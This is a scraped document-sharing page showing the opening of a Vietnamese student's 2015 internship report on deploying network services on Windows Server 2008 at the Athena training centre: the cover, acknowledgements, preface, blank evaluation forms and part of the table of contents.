Báo Cáo Thực Tập Tốt Nghiệp AthenaBáo Cáo Thực Tập Tốt Nghiệp Athena
Báo Cáo Thực Tập Tốt Nghiệp Athena
 
Báo cáo thực tập cơ sở
Báo cáo thực tập cơ sởBáo cáo thực tập cơ sở
Báo cáo thực tập cơ sở
 
Báo cáo thực tập chuyên đề wordpress
Báo cáo thực tập chuyên đề wordpressBáo cáo thực tập chuyên đề wordpress
Báo cáo thực tập chuyên đề wordpress
 
Athena: Báo cáo thực tập đề tài wordpress
Athena: Báo cáo thực tập đề tài wordpressAthena: Báo cáo thực tập đề tài wordpress
Athena: Báo cáo thực tập đề tài wordpress
 
Báo cáo thực tập windows server 2008 gia dinh ly huutai
Báo cáo thực tập windows server 2008 gia dinh ly huutaiBáo cáo thực tập windows server 2008 gia dinh ly huutai
Báo cáo thực tập windows server 2008 gia dinh ly huutai
 
Báo cáo thực tập Athena - Xây dựng web tin tức bằng WordPress
Báo cáo thực tập Athena - Xây dựng web tin tức bằng WordPressBáo cáo thực tập Athena - Xây dựng web tin tức bằng WordPress
Báo cáo thực tập Athena - Xây dựng web tin tức bằng WordPress
 
Mẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệpMẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệp
 
Báo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề WordpressBáo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề Wordpress
 
Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan
Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan
Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan
 
Bao cao thuc tap hoan chinh
Bao cao thuc tap hoan chinhBao cao thuc tap hoan chinh
Bao cao thuc tap hoan chinh
 
Báo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức Thịnh
Báo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức ThịnhBáo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức Thịnh
Báo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức Thịnh
 

Similar to [ATHENA] Bao cáo thực tập file word

Athena - Báo Cáo Thực Tập
Athena - Báo Cáo Thực TậpAthena - Báo Cáo Thực Tập
Athena - Báo Cáo Thực Tậpforeverbee
 
Báo cáo thực tập Athena
Báo cáo thực tập AthenaBáo cáo thực tập Athena
Báo cáo thực tập Athenaforeverbee
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athenaPhuc Kon
 
THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...
THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...
THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...Chun Che Lin
 
Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002Trung Tran
 
Báo cáo thực tập cuối kỳ
Báo cáo thực tập cuối kỳBáo cáo thực tập cuối kỳ
Báo cáo thực tập cuối kỳHiền Heoo
 
Bao cao ck update final
Bao cao ck update finalBao cao ck update final
Bao cao ck update finalDuy Nguyen
 
Nguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapNguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapThu Hien
 
Báo cáo thực tập athena 1
Báo cáo thực tập athena 1Báo cáo thực tập athena 1
Báo cáo thực tập athena 1Ngan Nguyen
 
Báo cáo cuối kỳ athena
Báo cáo cuối kỳ athenaBáo cáo cuối kỳ athena
Báo cáo cuối kỳ athenaLeHongQuang2912
 

Similar to [ATHENA] Bao cáo thực tập file word (20)

Bao cao thuc tap
Bao cao thuc tapBao cao thuc tap
Bao cao thuc tap
 
Báo cáo Thực tập.
Báo cáo Thực tập.Báo cáo Thực tập.
Báo cáo Thực tập.
 
Athena - Báo Cáo Thực Tập
Athena - Báo Cáo Thực TậpAthena - Báo Cáo Thực Tập
Athena - Báo Cáo Thực Tập
 
Báo cáo thực tập Athena
Báo cáo thực tập AthenaBáo cáo thực tập Athena
Báo cáo thực tập Athena
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athena
 
Baocaothuctap
BaocaothuctapBaocaothuctap
Baocaothuctap
 
THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...
THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...
THỰC TRẠNG CÔNG TÁC ĐÃI NGỘ LAO ĐỘNG TẠI TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN...
 
BCTTTN
BCTTTNBCTTTN
BCTTTN
 
Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002Bao cao thuc tap tran thanhtrung mssv 1031103002
Bao cao thuc tap tran thanhtrung mssv 1031103002
 
BCTTTN
BCTTTNBCTTTN
BCTTTN
 
Báo cáo thực tập cuối kỳ
Báo cáo thực tập cuối kỳBáo cáo thực tập cuối kỳ
Báo cáo thực tập cuối kỳ
 
Báo cáo athena
Báo cáo  athenaBáo cáo  athena
Báo cáo athena
 
Nghiên Cứu Xây Dựng Khung Quản Trị Dữ Liệu Cho Việc Quản Lý Dữ Liệu Của Tổng ...
Nghiên Cứu Xây Dựng Khung Quản Trị Dữ Liệu Cho Việc Quản Lý Dữ Liệu Của Tổng ...Nghiên Cứu Xây Dựng Khung Quản Trị Dữ Liệu Cho Việc Quản Lý Dữ Liệu Của Tổng ...
Nghiên Cứu Xây Dựng Khung Quản Trị Dữ Liệu Cho Việc Quản Lý Dữ Liệu Của Tổng ...
 
Bao cao ck update final
Bao cao ck update finalBao cao ck update final
Bao cao ck update final
 
Phân tích và đánh giá quy trình xây dựng hệ thống thông tin quản lý nhân sự t...
Phân tích và đánh giá quy trình xây dựng hệ thống thông tin quản lý nhân sự t...Phân tích và đánh giá quy trình xây dựng hệ thống thông tin quản lý nhân sự t...
Phân tích và đánh giá quy trình xây dựng hệ thống thông tin quản lý nhân sự t...
 
Nguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapNguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctap
 
Báo cáo thực tập athena 1
Báo cáo thực tập athena 1Báo cáo thực tập athena 1
Báo cáo thực tập athena 1
 
báo cáo cuối kì
báo cáo cuối kìbáo cáo cuối kì
báo cáo cuối kì
 
Báo cáo cuối kỳ athena
Báo cáo cuối kỳ athenaBáo cáo cuối kỳ athena
Báo cáo cuối kỳ athena
 
BAO.CAO.CUOI.KY
BAO.CAO.CUOI.KYBAO.CAO.CUOI.KY
BAO.CAO.CUOI.KY
 

Recently uploaded

BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...
BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...
BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...Nguyen Thanh Tu Collection
 
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...Học viện Kstudy
 
Sơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdfSơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdftohoanggiabao81
 
[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào mô
[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào mô[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào mô
[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào môBryan Williams
 
Hệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tếHệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tếngTonH1
 
CHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptx
CHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptxCHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptx
CHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptx22146042
 
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...Nguyen Thanh Tu Collection
 
ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...
ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...
ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...Nguyen Thanh Tu Collection
 
Ma trận - định thức và các ứng dụng trong kinh tế
Ma trận - định thức và các ứng dụng trong kinh tếMa trận - định thức và các ứng dụng trong kinh tế
Ma trận - định thức và các ứng dụng trong kinh tếngTonH1
 
Chàm - Bệnh án (da liễu - bvdlct ctump) .pptx
Chàm - Bệnh án (da liễu - bvdlct ctump) .pptxChàm - Bệnh án (da liễu - bvdlct ctump) .pptx
Chàm - Bệnh án (da liễu - bvdlct ctump) .pptxendkay31
 
SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...
SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...
SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...Nguyen Thanh Tu Collection
 
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Nguyen Thanh Tu Collection
 
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...Nguyen Thanh Tu Collection
 
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhhôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhhvanhathvc
 
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXHTư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXHThaoPhuong154017
 
Bai 1 cong bo mot cong trinh nghien cuu khoa hoc
Bai 1 cong bo mot cong trinh nghien cuu khoa hocBai 1 cong bo mot cong trinh nghien cuu khoa hoc
Bai 1 cong bo mot cong trinh nghien cuu khoa hocVnPhan58
 
Trích dẫn trắc nghiệm tư tưởng HCM5.docx
Trích dẫn trắc nghiệm tư tưởng HCM5.docxTrích dẫn trắc nghiệm tư tưởng HCM5.docx
Trích dẫn trắc nghiệm tư tưởng HCM5.docxnhungdt08102004
 
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Nguyen Thanh Tu Collection
 
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...Nguyen Thanh Tu Collection
 
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdfChuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdfhoangtuansinh1
 

Recently uploaded (20)

BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...
BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...
BỘ ĐỀ KIỂM TRA CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO CẤU TRÚC ĐỀ MIN...
 
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
Slide Webinar Hướng dẫn sử dụng ChatGPT cho người mới bắt đầ...
 
Sơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdfSơ đồ tư duy môn sinh học bậc THPT.pdf
Sơ đồ tư duy môn sinh học bậc THPT.pdf
 
[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào mô
[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào mô[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào mô
[GIẢI PHẪU BỆNH] Tổn thương cơ bản của tb bào mô
 
Hệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tếHệ phương trình tuyến tính và các ứng dụng trong kinh tế
Hệ phương trình tuyến tính và các ứng dụng trong kinh tế
 
CHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptx
CHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptxCHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptx
CHƯƠNG VII LUẬT DÂN SỰ (2) Pháp luật đại cương.pptx
 
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
50 ĐỀ ĐỀ XUẤT THI VÀO 10 THPT SỞ GIÁO DỤC THANH HÓA MÔN TIẾNG ANH 9 CÓ TỰ LUẬ...
 
ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...
ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...
ĐỀ THAM KHẢO THEO HƯỚNG MINH HỌA 2025 KIỂM TRA CUỐI HỌC KÌ 2 NĂM HỌC 2023-202...
 
Ma trận - định thức và các ứng dụng trong kinh tế
Ma trận - định thức và các ứng dụng trong kinh tếMa trận - định thức và các ứng dụng trong kinh tế
Ma trận - định thức và các ứng dụng trong kinh tế
 
Chàm - Bệnh án (da liễu - bvdlct ctump) .pptx
Chàm - Bệnh án (da liễu - bvdlct ctump) .pptxChàm - Bệnh án (da liễu - bvdlct ctump) .pptx
Chàm - Bệnh án (da liễu - bvdlct ctump) .pptx
 
SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...
SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...
SÁNG KIẾN “THIẾT KẾ VÀ SỬ DỤNG INFOGRAPHIC TRONG DẠY HỌC ĐỊA LÍ 11 (BỘ SÁCH K...
 
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
Sáng kiến Dạy học theo định hướng STEM một số chủ đề phần “vật sống”, Khoa họ...
 
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
10 ĐỀ KIỂM TRA + 6 ĐỀ ÔN TẬP CUỐI KÌ 2 VẬT LÝ 11 - KẾT NỐI TRI THỨC - THEO C...
 
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhhôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
ôn tập lịch sử hhhhhhhhhhhhhhhhhhhhhhhhhh
 
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXHTư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
Tư tưởng Hồ Chí Minh về độc lập dân tộc và CNXH
 
Bai 1 cong bo mot cong trinh nghien cuu khoa hoc
Bai 1 cong bo mot cong trinh nghien cuu khoa hocBai 1 cong bo mot cong trinh nghien cuu khoa hoc
Bai 1 cong bo mot cong trinh nghien cuu khoa hoc
 
Trích dẫn trắc nghiệm tư tưởng HCM5.docx
Trích dẫn trắc nghiệm tư tưởng HCM5.docxTrích dẫn trắc nghiệm tư tưởng HCM5.docx
Trích dẫn trắc nghiệm tư tưởng HCM5.docx
 
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
Sáng kiến “Sử dụng ứng dụng Quizizz nhằm nâng cao chất lượng ôn thi tốt nghiệ...
 
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
TỔNG HỢP ĐỀ THI CHÍNH THỨC KỲ THI TUYỂN SINH VÀO LỚP 10 THPT MÔN NGỮ VĂN NĂM ...
 
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdfChuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
Chuong trinh dao tao Su pham Khoa hoc tu nhien, ma nganh - 7140247.pdf
 

[ATHENA] Bao cáo thực tập file word

  • 1. TRƯỜNG ĐẠI HỌC CÔNG NGHIỆP TPHCM – KHOA CNTT TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA ---------- BÁO CÁO THỰC TẬP TỐT NGHIỆP ĐỀ TÀI: NGHIÊN CỨU VÀ TRIỂN KHAI CÁC DỊCH VỤ MẠNG TRÊN WINDOWS SERVER 2008 Giáo viên hướng dẫn : Võ Đỗ Thắng Sinh viên thực tập : Nguyễn Trọng Sáng MSSV : 11082461 Lớp : DHTH7C Thời gian thực tập : từ 17/3/2015 đến 17/5/2015 Tp. HCM, tháng 6 năm 2015
  • 2. SVTH: Nguyễn Trọng Sáng Page 1 LỜI CẢM ƠN Để có những buổi thực tập bổ ích và hiệu quả tại trung tâm Athena, trước tiên tôi xin bày tỏ tình cảm và lời cảm ơn chân thành tới trung tâm Athena đã tạo điều kiện cho tôi được thực tập tại trung tâm. Đặt biệt gửi lời cảm ơn đến thầy Võ Đỗ Thắng và các anh chị tại trung tâm đã tạo mọi điều kiện tốt nhất để tôi có thể tiếp cận với thực tế, cung cấp thông tin, tài liệu để tôi hoàn thành tốt quá trình thực tập và bài báo cáo này, đồng thời cũng đã hướng dẫn và truyền đạt nhiều kiến thức quý báu, góp ý kiến giúp tôi định hướng cho công việc sau này. Tôi xin chân thành cảm ơn đến quý thầy cô Khoa công nghệ thông tin Trường Đại Học Công Nghiệp TPHCM đã cung cấp cho tôi cả về kiến thức chuyên môn lẫn tinh thần học tập, đó là nền tảng giúp tôi có được kiến thức vững chắc để tiếp thu kiến thức thực tế trong quá trình thực tập một cách nhanh chóng và là kiến thức cơ sở cho công việc sau này. Bên cạnh đó, tôi xin chân thành cảm ơn sự hướng dẫn tận tình của cô TS. Nguyễn Thị Phương Giang đã giúp đỡ tôi hoàn thành báo cáo thực tập này. Xin cảm ơn tất cả các bạn bè đã giúp đỡ về tinh thần cũng như kiến thức cho tôi trong quá trình thực hiện hoàn thành báo cáo này. Tôi xin kính chúc Quý thầy cô và các anh chị tại trung tâm dồi dào sức khỏe và thành công trong công việc. Kính chúc trung tâm Athena kinh doanh ngày càng đạt hiệu quả TP Hồ Chí Minh ,Tháng 6 Năm 2015 Sinh viên thực hiện Nguyễn Trọng Sáng
  • 3. SVTH: Nguyễn Trọng Sáng Page 2 LỜI NÓI ĐẦU Microsoft Windows Server 2008 là thế hệ kế tiếp của Windows Server, có thể giúp các chuyên gia công nghệ thông tin có thể kiểm soát tối đa cơ sở hạ tầng và cung cấp khả năng quản lý hiệu quả hơn, là sản phẩm đảm bảo độ an toàn, khả năng tin cậy và môi trường máy chủ vững chắc hơn. Windows Server 2008 cung cấp các giá trị mới cho các tổ chức bằng việc bảo đảm tất cả người dùng đều có thể có được những thành phần bổ sung từ các dịch vụ từ mạng. Windows Server 2008 cũng cung cấp nhiều tính năng vượt trội bên trong hệ điều hành và khả năng chuẩn đoán, cho phép các quản trị viên gia tăng được thời gian hổ trợ được các công việc của doanh nghiệp. Windows Server 2008 xây dựng trên sự thành công và sức mạnh của hệ điều hành đã có trước đó là Windows Server 2003 và những cách tân trong bản server pack 1 và Windows Server 2008 R2. Windows Server 2008 được thế kế để cung cấp cho các tổ chức có được nền tảng sản xuất nhất cho ứng dụng, mạng và các dịch vụ web từ nhóm làm việc đến những trung tâm dữ liệu với tính năng động, tính năng mới có giá trị và những cải thiện mạnh mẽ cho hệ điều hành cơ bản.
  • 4. SVTH: Nguyễn Trọng Sáng Page 3 NHẬN XÉT (của cán bộ hướng dẫn tại công ty thực tập) ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… …………………………………………………………………………………….. XÁC NHẬN CỦA CƠ QUAN GIÁM ĐỐC (ký tên và đóng dấu) TPHCM, Ngày… Tháng … Năm 2015 CÁN BỘ HƯỚNG DẪN (ký tên)
  • 5. SVTH: Nguyễn Trọng Sáng Page 4 NHẬN XÉT (của giáo viên hướng dẫn tại khoa) ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… TPHCM, Ngày… Tháng … Năm 2015 GIÁO VIÊN HƯỚNG DẪN (ký tên)
  • 6. SVTH: Nguyễn Trọng Sáng Page 5 MỤC LỤC CHƯƠNG 1: GIỚI THIỆU VỀ TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA...............................................................................8 1. Giới thiệu về công ty....................................................................................................8 2. Quá trình hình thành và phát triển.........................................................................9 3. Cơ cấu tổ chức ............................................................................................................11 4. Tình hình hoạt động trong năm .............................................................................12 5. Cơ sở hạ tầng ..............................................................................................................13 6. Khách hàng .................................................................................................................13 7. Đối tác...........................................................................................................................13 CHƯƠNG 2: NỘI DUNG THỰC TẬP ...............................................................................14 1. Kiến thức tìm hiểu.....................................................................................................14 2. Windows Server 2008 ...............................................................................................15 CHƯƠNG 3: TỔNG QUAN VỀ WINDOWS SERVER 2008 .......................................18 1. GIỚI THIỆU WINDOWS SERVER 2008 ............................................................18 2. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008........................................19 2.1. Công cụ quản trị Server Manager........................................................................19 2.2. Windows Server Core ...........................................................................................19 2.3. PowerShell..............................................................................................................20 2.4. Windows Deloyment Services.............................................................................20 2.5. Terminal Services..................................................................................................20 2.6. Network Access Protection..................................................................................21 2.7. Read-Only Domain 